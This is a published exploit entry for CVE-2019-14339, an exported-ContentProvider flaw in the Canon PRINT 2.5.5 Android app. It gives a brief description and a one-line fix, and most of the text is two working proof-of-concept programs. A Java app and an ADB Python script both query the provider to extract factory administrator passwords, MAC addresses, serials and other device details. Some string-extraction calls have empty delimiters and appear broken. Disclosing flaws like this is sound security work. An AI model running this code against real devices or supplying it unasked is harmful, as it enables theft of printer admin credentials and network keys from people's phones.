# Exploit Title: Content Provider URI Injection on Canon PRINT 2.5.5 (CVE-2019-14339) # Date: 24th July, 2019 # Exploit Author: 0x48piraj # Vendor Homepage: https://www.usa.canon.com/internet/portal/us/home/explore/printing-innovations/mobile-printing/canon-print-app # Software Link: https://play.google.com/store/apps/details?id=jp.co.canon.bsd.ad.pixmaprint # Exploit : https://github.com/0x48piraj/CVE-2019-14339 # Version: Canon PRINT 2.5.5 # Tested on: Android 8.0.0 # CVE : CVE-2019-14339 The ContentProvider in the Canon PRINT 2.5.5 application for Android does not properly restrict data access. This allows an attacker's malicious application to obtain sensitive information including factory passwords for administrator web-interface and WPA2-PSK key. The mobile application contains unprotected exported content providers ('IJPrinterCapabilityProvider' in android/AndroidManifest.xml) that discloses sensitive application’s data under certain conditions. To securely export the content provider, one should restrict access to it by setting up android:protectionLevel or android:grantUriPermissions attributes in Android Manifest file. -- Proof-of-concept code (Java) -- package cannon.print.pwn; import android.database.Cursor; import android.net.Uri; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.TextView; import android.widget.Toast; import org.apache.commons.lang3.StringUtils; // https://stackoverflow.com/a/50198499 public class MainActivity extends AppCompatActivity { Button PwnBtn; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); PwnBtn = (Button) findViewById(R.id.button); PwnBtn.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { Toast.makeText(getApplicationContext(), "Payload triggered ...", Toast.LENGTH_SHORT).show(); Uri cannonURI = Uri.parse("content://canon.ij.printer.capability.data/"); Cursor cursor = getContentResolver().query(cannonURI, null, null, null, null); int count = cursor.getCount(); TextView data=(TextView)findViewById(R.id.data); data.setText(String.valueOf(count)); cursor.moveToFirst(); String tempstr = " "; tempstr =" "+tempstr +"\t"+ cursor.getString(0) + "\t\t\t" + cursor.getString(1) + "\t\t\t" + cursor.getString(2); String dpw = StringUtils.substringBetween(tempstr, "", ""); String dmac = cursor.getString(4); String mdeviceid = cursor.getString(13); // raw String dtype = StringUtils.substringBetween(mdeviceid, ";CLS:", ";DES"); String timestamp = cursor.getString(15); // ticks, device last used String dclass = StringUtils.substringBetween(tempstr, "", ""); String dmodel = StringUtils.substringBetween(tempstr, "", ""); String dserial = StringUtils.substringBetween(tempstr, "", ""); String dfmver = StringUtils.substringBetween(tempstr, "", ""); String dservice = StringUtils.substringBetween(tempstr, "", ""); /* More juicy data String denv = StringUtils.substringBetween(tempstr, "", ""); String dpapertype = StringUtils.substringBetween(tempstr, "", ""); String dformats = StringUtils.substringBetween(tempstr, "", ""); */ String fout = String.format("Device Type : %s\nDevice Class : %s\nDevice Model : %s\nDevice Serial : %s\nDevice MAC Address : %s\nDevice Factory Password : %s\nDevice Firmware Version : %s\nDevice Services : %s\nDevice Last Used : %s\n", dtype, dclass, dmodel, dserial, dmac, dpw, dfmver, dservice, timestamp); data.setText(fout); } }); } } -- Proof-of-concept python script over ADB -- import subprocess, datetime, sys def ext(out, var, rw=';'): return out.split(var)[1].split(rw)[0] print("[#] Make sure you've connected the target device w/ adb ...") print("[*] Running the exploit using adb ...\n\n") out = subprocess.getoutput("adb shell content query --uri content://canon.ij.printer.capability.data/") if "" not in out: print("[!] Error: Couldn't fetch data from adb ...") sys.exit(1) varz = [";CLS:", ";MDL:", ";DES:", ";VER:", ";PSE:"] # factory_pw_check = out.split("")[1].split('')[0] prmz = ["Class", "Model", "Description", "Firmware Version", "Factory Password"] for prm, var in zip(prmz, varz): print(" -- Device %s : %s" % (prm, ext(out, var))) print(" -- Device MAC Address : {}".format(ext(out, 'mmacaddress=', ','))) print(" -- Device Last Used : %s" % (datetime.timedelta(microseconds = int(ext(out,', timestamp=', ', '))/10)))

Query Builder